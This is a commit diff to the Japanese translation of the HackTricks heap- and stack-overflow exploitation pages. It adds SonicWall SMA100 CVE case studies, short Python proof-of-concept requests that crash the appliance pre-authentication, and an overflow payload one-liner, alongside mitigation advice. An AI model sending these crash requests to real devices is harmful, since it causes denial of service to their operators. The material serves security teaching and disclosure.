mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/libc-heap/heap-overflow.md', 'src/b
This commit is contained in:
parent
b334eea88e
commit
1b6e680517
@ -4,26 +4,26 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/index.html)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。**
|
||||
ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/index.html)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを格納するためのスペースが予約されており、**格納されたデータが予約されたスペースよりも大きいことを意味します。**
|
||||
|
||||
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。
|
||||
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**が、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。
|
||||
|
||||
> [!TIP]
|
||||
> オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/index.html#finding-stack-overflows-offsets)と同じパターンを使用できます。
|
||||
|
||||
### スタックオーバーフローとヒープオーバーフロー
|
||||
|
||||
スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリが増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
|
||||
スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリ内で増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
|
||||
|
||||
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの隣にメモリ内で目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。
|
||||
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して脆弱なオブジェクトと衝突するオブジェクトを知るのは**複雑です**。そのため、ヒープオーバーフローが見つかった場合、**オーバーフローされるオブジェクトの隣に目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。
|
||||
|
||||
このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たしたときに、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用される方法が説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
||||
このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリチャンクを格納するためのメモリを使い果たすと、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用されることが説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
||||
|
||||
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローしたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。
|
||||
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。
|
||||
|
||||
特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。
|
||||
|
||||
その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、攻撃がオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがそのオブジェクトの後に続く可能性が高いことを意味します。
|
||||
その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、エクスプロイトがオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがそのオブジェクトの後に続く可能性が高いことを意味します。
|
||||
|
||||
### 例 libc
|
||||
|
||||
@ -35,14 +35,46 @@
|
||||
|
||||
### 例 ARM64
|
||||
|
||||
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単な攻撃を使用して、実行されるコマンドを上書きすることが可能です。
|
||||
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに格納されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトで上書きすることで、実行されるコマンドを変更することが可能です:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
### その他の例
|
||||
### 他の例
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。
|
||||
- オーバーフローしたチャンクの`struct`内の関数へのポインタを破損させ、`system`のような関数を設定してコード実行を得ます。
|
||||
- オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` などの関数を設定してコード実行を得ます。
|
||||
|
||||
### 実世界の例: CVE-2025-40597 – `__sprintf_chk` の誤用
|
||||
|
||||
SonicWall SMA100 ファームウェア 10.2.1.15 では、リバースプロキシモジュール `mod_httprp.so` が **0x80バイト** のヒープチャンクを割り当て、その後 `__sprintf_chk` を使用していくつかの文字列を連結します。
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
-1, /* <-- size argument !!! */
|
||||
0, /* flags */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` は **_FORTIFY_SOURCE** の一部です。正の `size` パラメータを受け取ると、結果の文字列が宛先バッファに収まるかどうかを検証します。**`-1` (0xFFFFFFFFFFFFFFFF)** を渡すことで、開発者は実質的に **境界チェックを無効化** し、強化された呼び出しを古典的で安全でない `sprintf` に戻しました。
|
||||
|
||||
したがって、過度に長い **`Host:`** ヘッダーを提供することで、攻撃者は **0x80バイトのチャンクをオーバーフローさせ、次のヒープチャンクのメタデータを上書きする** ことができます(アロケータに応じて tcache / fast-bin / small-bin)。クラッシュは次のように再現できます:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
requests.get(
|
||||
'https://TARGET/__api__/',
|
||||
headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
実用的な悪用には、**heap grooming**が必要で、制御可能なオブジェクトを脆弱なチャンクのすぐ後に配置する必要がありますが、根本的な原因は2つの重要なポイントを強調しています:
|
||||
|
||||
1. **_FORTIFY_SOURCEは万能ではない** – 誤用は保護を無効にする可能性があります。
|
||||
2. 常に**正しいバッファサイズ**を`_chk`ファミリーに渡すこと(または、さらに良いことに、`snprintf`を使用すること)。
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、正当なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||
|
||||
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
|
||||
|
||||
この脆弱性は通常、関数が**スタックに割り当てられた量よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きすることができます。
|
||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きすることができます。
|
||||
|
||||
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
例えば、以下の関数は脆弱である可能性があります:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
### Ret2win
|
||||
|
||||
この種のCTFチャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... テクニック
|
||||
|
||||
このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。そして、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscall...)を実行することを可能にします:
|
||||
このテクニックは、前述のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscallなど)を実行することが可能になります:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -95,4 +95,33 @@ stack-shellcode/
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### 実世界の例: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで現れました。\
|
||||
`/usr/src/EasyAccess/bin/httpd`内の脆弱なルーチンは、`/__api__/`で始まる任意のURIからバージョンとエンドポイントを抽出しようとします。
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 最初の変換(`%2s`)は、`version`に**2**バイトを安全に格納します(例:`"v1"`)。
|
||||
2. 2番目の変換(`%s`)は**長さ指定子がありません**。したがって、`sscanf`は**最初のNULバイト**までコピーを続けます。
|
||||
3. `endpoint`は**スタック**上にあり、**0x800バイトの長さ**があるため、0x800バイトより長いパスを提供すると、バッファの後にあるすべてのものが破損します ‑ **スタックカナリア**や**保存された戻りアドレス**を含む。
|
||||
|
||||
認証**前に**クラッシュを引き起こすには、1行の概念実証で十分です:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
スタックカナリアがプロセスを中止させるにもかかわらず、攻撃者は依然として**サービス拒否**のプリミティブを得る(さらに情報漏洩があれば、コード実行も可能)。教訓はシンプルです:
|
||||
|
||||
* 常に**最大フィールド幅**を指定する(例:`%511s`)。
|
||||
* `snprintf`/`strncpy_s`のような安全な代替手段を好む。
|
||||
|
||||
## 参考文献
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user